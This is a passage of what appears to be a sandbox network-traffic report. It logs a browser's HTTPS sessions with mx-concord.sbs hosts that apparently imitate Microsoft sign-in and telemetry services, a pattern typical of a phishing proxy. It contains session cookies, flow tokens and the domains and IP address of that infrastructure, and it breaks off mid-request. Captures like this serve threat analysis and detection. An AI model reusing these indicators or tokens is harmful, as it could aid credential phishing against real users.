2024-08-28 20:21:41 UTC	2286	IN	Data Raw: 38 65 37 0d 0a 00 00 01 00 06 00 10 10 00 00 00 00 20 00 16 01 00 00 66 00 00 00 18 18 00 00 00 00 20 00 24 01 00 00 7c 01 00 00 20 20 00 00 00 00 20 00 35 01 00 00 a0 02 00 00 30 30 00 00 00 00 20 00 6a 01 00 00 d5 03 00 00 40 40 00 00 00 00 20 00 f3 01 00 00 3f 05 00 00 80 80 00 00 00 00 20 00 b5 01 00 00 32 07 00 00 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 06 00 00 00 1f f3 ff 61 00 00 00 dd 49 44 41 54 78 9c dd 92 31 4e 43 41 10 43 df cc 8e 44 40 b0 22 2d 65 6e c4 21 90 68 c3 15 38 40 ce c4 39 68 a8 11 22 e4 ff 00 05 93 35 4d 1a b2 bf 89 68 10 2e 2d 8d c7 b6 6c 9b eb 85 4c fc 80 50 d6 59 09 5e 6c 75 77 ff c8 95 d9 72 dc 28 cd 08 0e e0 87 c7 c7 c2 7f 77 fe 17 04 42 28 7b da 12 04 f2 26 01 46 02 a9 89 be a2 ce 4e ba 66 Data Ascii: 8e7 f $\| 500 j@@ ? 2PNGIHDRaIDATx1NCACD@"-en!h8@9h"5Mh.-lLPY^luwr(wB({&FNf
2024-08-28 20:21:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.16	49816	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:40 UTC	679	OUT	OPTIONS /OneCollector/1.0/?cors=true&content-type=application/x-json-stream&w=0 HTTP/1.1 Host: 47af7f62-b128254c.mx-concord.sbs Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: apikey,cache-control,client-id,client-version,content-type,time-delta-to-apply-millis,upload-time Origin: https://l1ve.mx-concord.sbs User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://l1ve.mx-concord.sbs/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 20:21:41 UTC	619	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: public, 3600 access-control-allow-credentials: true access-control-allow-headers: AuthMsaDeviceTicket,AuthXToken,Content-Encoding,Content-Type,Cache-Control,Client-Id,SDK-Name,sdk-version,apikey,x-apikey,client-version,upload-time,time-delta-to-apply-millis,client-time-epoch-millis,persistence-mode,reliability-mode,NoResponseBody access-control-max-age: 3600 access-control-allow-origin: https://l1ve.mx-concord.sbs
2024-08-28 20:21:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.16	49818	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:40 UTC	1276	OUT	GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1 Host: portal.mx-concord.sbs Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://portal.mx-concord.sbs Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; brcap=0; ESTSWCTXFLOWTOKEN=AQABIQEAAAApTwJmzXqdR4BN2miheQMYlFCpZ59JsLeiNocVPGB1aE4YT_oiZxqHwUy8O85bvoB7EaS6t2CQti7XSQMMw9SSpGGiSG1TQYHKvuW8Uh-1bK0eBSKRQzLf0jcBUtNg2JDo-RYurWf55TxkBXKNt-8WsJc1rOvCAOKLkSedas65tlM0_UkRjc-J9S-M4JtFbQ72PbrcbywcIQy2Y1JlSBZGAJzSVYjngNJSpnzvT-UJibRetVAii6KOe8i7pdGpuvvI3j9D2hnVRmYqFYLYWIN16-tNuqFFYaTgFmCuLI-4g3neXbML01qSbNp7Mj0_A_lF2Q0AunFq5NhkO4M3wttL7tpTHr4cV6O5wc2S9zpQd2rn7087cdF8Nk4x-m29CAejHFyxLBzg66xK8WxDWJ7hshbNvn6ChPz6V95h7Kr_BCUO8cFUAwbIkU4x2tjDipm0H4JMJln_6_26RZrW6hX7BaU6D2Q791YNlUgXd12QBMis2xPis8zP-v9Xao27HiaQKc9iOSvPJ-oE53rqiTrTIAA Sec-WebSocket-Key: M6fyAbBBYLPCJGz6p/v77A== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-08-28 20:21:42 UTC	742	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 28 Aug 2024 20:21:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: d327da2a-6c6e-481b-8352-f46538724b00 x-ms-ests-server: 2.1.18794.6 - NEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-08-28 20:21:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.16	49820	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:42 UTC	1071	OUT	POST /OneCollector/1.0/?cors=true&content-type=application/x-json-stream&w=0 HTTP/1.1 Host: 47af7f62-b128254c.mx-concord.sbs Connection: keep-alive Content-Length: 5394 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" upload-time: 1724876497998 sec-ch-ua-mobile: ?0 client-version: 1DS-Web-JS-3.2.15 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 time-delta-to-apply-millis: use-collector-delta content-type: application/x-json-stream cache-control: no-cache, no-store apikey: 69adc3c768bd4dc08c19416121249fcc-66f1668a-797b-4249-95e3-6c6651768c28-7293 Client-Id: NO_AUTH sec-ch-ua-platform: "Windows" Accept: / Origin: https://l1ve.mx-concord.sbs Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://l1ve.mx-concord.sbs/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:21:42 UTC	5394	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 49 44 55 58 5f 43 6c 69 65 6e 74 54 65 6c 65 6d 65 74 72 79 5f 53 65 72 76 69 63 65 44 69 61 67 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 30 38 2d 32 38 54 32 30 3a 32 31 3a 33 35 2e 39 38 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 36 39 61 64 63 33 63 37 36 38 62 64 34 64 63 30 38 63 31 39 34 31 36 31 32 31 32 34 39 66 63 63 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 31 35 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 31 33 63 66 38 37 39 34 2d 31 32 38 36 2d 34 64 38 39 2d 62 38 62 65 2d 61 37 39 35 37 61 61 65 38 61 65 39 22 2c 22 65 70 6f 63 68 22 3a 22 31 36 33 34 30 31 37 38 39 34 22 7d 2c 22 Data Ascii: {"name":"IDUX_ClientTelemetry_ServiceDiag","time":"2024-08-28T20:21:35.982Z","ver":"4.0","iKey":"o:69adc3c768bd4dc08c19416121249fcc","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.15","seq":1,"installId":"13cf8794-1286-4d89-b8be-a7957aae8ae9","epoch":"1634017894"},"
2024-08-28 20:21:45 UTC	867	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:44 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding p3p: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" time-delta-millis: 6083 access-control-allow-headers: P3P,Set-Cookie,time-delta-millis access-control-allow-methods: POST access-control-allow-credentials: true access-control-allow-origin: https://l1ve.mx-concord.sbs access-control-expose-headers: time-delta-millis set-cookie: MC1="GUID=08dcff3a443445368fe0a95c171140dd&HASH=08dc&LV=202408&V=4&LU=1724876504081"; Domain=mx-concord.sbs; expires=Thu, 25 Apr 2080 16:43:28 GMT; Path=/; Secure set-cookie: MS0=f1b71fed9e884fb0bfe761f920ada0bb; Domain=mx-concord.sbs; expires=Wed, 26 Apr 2079 17:13:28 GMT; Path=/; Secure
2024-08-28 20:21:45 UTC	159	IN	Data Raw: 39 39 0d 0a 7b 22 61 63 63 22 3a 34 2c 22 77 65 62 52 65 73 75 6c 74 22 3a 7b 22 6d 73 66 70 63 22 3a 22 47 55 49 44 3d 30 38 64 63 66 66 33 61 34 34 33 34 34 35 33 36 38 66 65 30 61 39 35 63 31 37 31 31 34 30 64 64 26 48 41 53 48 3d 30 38 64 63 26 4c 56 3d 32 30 32 34 30 38 26 56 3d 34 26 4c 55 3d 31 37 32 34 38 37 36 35 30 34 30 38 31 22 2c 22 6d 63 31 22 3a 22 30 38 64 63 66 66 33 61 34 34 33 34 34 35 33 36 38 66 65 30 61 39 35 63 31 37 31 31 34 30 64 64 22 7d 7d 0d 0a Data Ascii: 99{"acc":4,"webResult":{"msfpc":"GUID=08dcff3a443445368fe0a95c171140dd&HASH=08dc&LV=202408&V=4&LU=1724876504081","mc1":"08dcff3a443445368fe0a95c171140dd"}}
2024-08-28 20:21:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.16	49821	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:44 UTC	794	OUT	GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1 Host: l1ve.mx-concord.sbs Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://l1ve.mx-concord.sbs Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; MicrosoftApplicationsTelemetryDeviceId=13cf8794-1286-4d89-b8be-a7957aae8ae9; ai_session=GZHcxTGbo1eBjtJoP5Q/oL\|1724876495985\|1724876495985 Sec-WebSocket-Key: t3AoyYYGhDSBGy0rnYvcGg== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-08-28 20:21:46 UTC	296	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 28 Aug 2024 20:21:46 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ppserver: PPV: 30 H: BL02EPF0001D9C6 V: 0 access-control-allow-origin: * access-control-allow-headers: *
2024-08-28 20:21:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.16	49822	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:46 UTC	669	OUT	GET /OneCollector/1.0/?cors=true&content-type=application/x-json-stream&w=0 HTTP/1.1 Host: 47af7f62-b128254c.mx-concord.sbs Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; MC1="GUID=08dcff3a443445368fe0a95c171140dd&HASH=08dc&LV=202408&V=4&LU=1724876504081"; MS0=f1b71fed9e884fb0bfe761f920ada0bb
2024-08-28 20:21:48 UTC	267	IN	HTTP/1.1 405 Method Not Allowed Server: nginx Date: Wed, 28 Aug 2024 20:21:47 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close allow: OPTIONS,POST access-control-allow-origin: * access-control-allow-headers: *
2024-08-28 20:21:48 UTC	78	IN	Data Raw: 34 38 0d 0a 7b 22 4d 65 73 73 61 67 65 22 3a 22 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 68 74 74 70 20 6d 65 74 68 6f 64 20 27 47 45 54 27 2e 22 7d 0d 0a Data Ascii: 48{"Message":"The requested resource does not support http method 'GET'."}
2024-08-28 20:21:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.16	49823	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:51 UTC	1400	OUT	GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1 Host: portal.mx-concord.sbs Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://portal.mx-concord.sbs Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; brcap=0; ESTSWCTXFLOWTOKEN=AQABIQEAAAApTwJmzXqdR4BN2miheQMYlFCpZ59JsLeiNocVPGB1aE4YT_oiZxqHwUy8O85bvoB7EaS6t2CQti7XSQMMw9SSpGGiSG1TQYHKvuW8Uh-1bK0eBSKRQzLf0jcBUtNg2JDo-RYurWf55TxkBXKNt-8WsJc1rOvCAOKLkSedas65tlM0_UkRjc-J9S-M4JtFbQ72PbrcbywcIQy2Y1JlSBZGAJzSVYjngNJSpnzvT-UJibRetVAii6KOe8i7pdGpuvvI3j9D2hnVRmYqFYLYWIN16-tNuqFFYaTgFmCuLI-4g3neXbML01qSbNp7Mj0_A_lF2Q0AunFq5NhkO4M3wttL7tpTHr4cV6O5wc2S9zpQd2rn7087cdF8Nk4x-m29CAejHFyxLBzg66xK8WxDWJ7hshbNvn6ChPz6V95h7Kr_BCUO8cFUAwbIkU4x2tjDipm0H4JMJln_6_26RZrW6hX7BaU6D2Q791YNlUgXd12QBMis2xPis8zP-v9Xao27HiaQKc9iOSvPJ-oE53rqiTrTIAA; MC1="GUID=08dcff3a443445368fe0a95c171140dd&HASH=08dc&LV=202408&V=4&LU=1724876504081"; MS0=f1b71fed9e884fb0bfe761f920ada0bb Sec-WebSocket-Key: XYzYtPLgszA4va/M1WqlhQ== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-08-28 20:21:53 UTC	742	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 28 Aug 2024 20:21:53 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 6442c33e-f07f-402e-b530-ef80ede7b501 x-ms-ests-server: 2.1.18794.6 - WEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-08-28 20:21:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.16	49824	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:53 UTC	1004	OUT	GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1 Host: l1ve.mx-concord.sbs Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://l1ve.mx-concord.sbs Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; MicrosoftApplicationsTelemetryDeviceId=13cf8794-1286-4d89-b8be-a7957aae8ae9; ai_session=GZHcxTGbo1eBjtJoP5Q/oL\|1724876495985\|1724876495985; MC1="GUID=08dcff3a443445368fe0a95c171140dd&HASH=08dc&LV=202408&V=4&LU=1724876504081"; MS0=f1b71fed9e884fb0bfe761f920ada0bb; MSFPC=GUID=08dcff3a443445368fe0a95c171140dd&HASH=08dc&LV=202408&V=4&LU=1724876504081 Sec-WebSocket-Key: MmtL1mmTitBwaHuxBfuabg== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-08-28 20:21:55 UTC	296	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 28 Aug 2024 20:21:55 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ppserver: PPV: 30 H: SN1PEPF0002F93A V: 0 access-control-allow-origin: * access-control-allow-headers: *
2024-08-28 20:21:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.16	49825	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:22:02 UTC	1004	OUT	GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1 Host: l1ve.mx-concord.sbs Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://l1ve.mx-concord.sbs Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; MicrosoftApplicationsTelemetryDeviceId=13cf8794-1286-4d89-b8be-a7957aae8ae9; ai_session=GZHcxTGbo1eBjtJoP5Q/oL\|1724876495985\|1724876495985; MC1="GUID=08dcff3a443445368fe0a95c171140dd&HASH=08dc&LV=202408&V=4&LU=1724876504081"; MS0=f1b71fed9e884fb0bfe761f920ada0bb; MSFPC=GUID=08dcff3a443445368fe0a95c171140dd&HASH=08dc&LV=202408&V=4&LU=1724876504081 Sec-WebSocket-Key: wdmy/MOqJnXzBA7R+rNrtQ== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-08-28 20:22:04 UTC	296	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 28 Aug 2024 20:22:04 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ppserver: PPV: 30 H: BL02EPF0001D88E V: 0 access-control-allow-origin: * access-control-allow-headers: *
2024-08-28 20:22:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.16	49826	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:22:05 UTC	1381	OUT	GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1 Host: portal.mx-concord.sbs Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://portal.mx-concord.sbs Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; AADSSO=NA\|NoExtension; brcap=0; ESTSWCTXFLOWTOKEN=AQABIQEAAAApTwJmzXqdR4BN2miheQMYlFCpZ59JsLeiNocVPGB1aE4YT_oiZxqHwUy8O85bvoB7EaS6t2CQti7XSQMMw9SSpGGiSG1TQYHKvuW8Uh-1bK0eBSKRQzLf0jcBUtNg2JDo-RYurWf55TxkBXKNt-8WsJc1rOvCAOKLkSedas65tlM0_UkRjc-J9S-M4JtFbQ72PbrcbywcIQy2Y1JlSBZGAJzSVYjngNJSpnzvT-UJibRetVAii6KOe8i7pdGpuvvI3j9D2hnVRmYqFYLYWIN16-tNuqFFYaTgFmCuLI-4g3neXbML01qSbNp7Mj0_A_lF2Q0AunFq5NhkO4M3wttL7tpTHr4cV6O5wc2S9zpQd2rn7087cdF8Nk4x-m29CAejHFyxLBzg66xK8WxDWJ7hshbNvn6ChPz6V95h7Kr_BCUO8cFUAwbIkU4x2tjDipm0H4JMJln_6_26RZrW6hX7BaU6D2Q791YNlUgXd12QBMis2xPis8zP-v9Xao27HiaQKc9iOSvPJ-oE53rqiTrTIAA; MC1="GUID=08dcff3a443445368fe0a95c171140dd&HASH=08dc&LV=202408&V=4&LU=1724876504081"; MS0=f1b71fed9e884fb0bfe761f920ada0bb Sec-WebSocket-Key: dCH1AWkigqCVsDDuqMVXeA== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-08-28 20:22:06 UTC	742	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 28 Aug 2024 20:22:06 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 2a6eb0f4-c724-451f-ae59-fb3268d85500 x-ms-ests-server: 2.1.18794.6 - NEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-08-28 20:22:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.16	49828	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:22:15 UTC	1004	OUT	GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1 Host: l1ve.mx-concord.sbs Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://l1ve.mx-concord.sbs Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; MicrosoftApplicationsTelemetryDeviceId=13cf8794-1286-4d89-b8be-a7957aae8ae9; ai_session=GZHcxTGbo1eBjtJoP5Q/oL\|1724876495985\|1724876495985; MC1="GUID=08dcff3a443445368fe0a95c171140dd&HASH=08dc&LV=202408&V=4&LU=1724876504081"; MS0=f1b71fed9e884fb0bfe761f920ada0bb; MSFPC=GUID=08dcff3a443445368fe0a95c171140dd&HASH=08dc&LV=202408&V=4&LU=1724876504081 Sec-WebSocket-Key: kKNP1S+d60+KhLuLXcB1jA== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-08-28 20:22:17 UTC	296	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 28 Aug 2024 20:22:16 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ppserver: PPV: 30 H: PH1PEPF00011F4B V: 0 access-control-allow-origin: * access-control-allow-headers: *
2024-08-28 20:22:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.16	49829	185.225.69.39	443

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:22:19 UTC	1381	OUT	GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1 Host: portal.mx-concord.sbs Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://portal.mx-concord.sbs Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; AADSSO=NA\|NoExtension; brcap=0; ESTSWCTXFLOWTOKEN=AQABIQEAAAApTwJmzXqdR4BN2miheQMYlFCpZ59JsLeiNocVPGB1aE4YT_oiZxqHwUy8O85bvoB7EaS6t2CQti7XSQMMw9SSpGGiSG1TQYHKvuW8Uh-1bK0eBSKRQzLf0jcBUtNg2JDo-RYurWf55TxkBXKNt-8WsJc1rOvCAOKLkSedas65tlM0_UkRjc-J9S-M4JtFbQ72PbrcbywcIQy2Y1JlSBZGAJzSVYjngNJSpnzvT-UJibRetVAii6KOe8i7pdGpuvvI3j9D2hnVRmYqFYLYWIN16-tNuqFFYaTgFmCuLI-4g3neXbML01qSbNp7Mj0_A_lF2Q0AunFq5NhkO4M3wttL7tpTHr4cV6O5wc2S9zpQd2rn7087cdF8Nk4x-m29CAejHFyxLBzg66xK8WxDWJ7hshbNvn6ChPz6V95h7Kr_BCUO8cFUAwbIkU4x2tjDipm0H4JMJln_6_26RZrW6hX7BaU6D2Q791YNlUgXd12QBMis2xPis8zP-v9Xao27HiaQKc9iOSvPJ-oE53rqiTrTIAA; MC1="GUID=08dcff3a443445368fe0a95c171140dd&HASH=08dc&LV=202408&V=4&LU=1724876504081"; MS0=f1b71fed9e884fb0bfe761f920ada0bb Sec-WebSocket-Key: 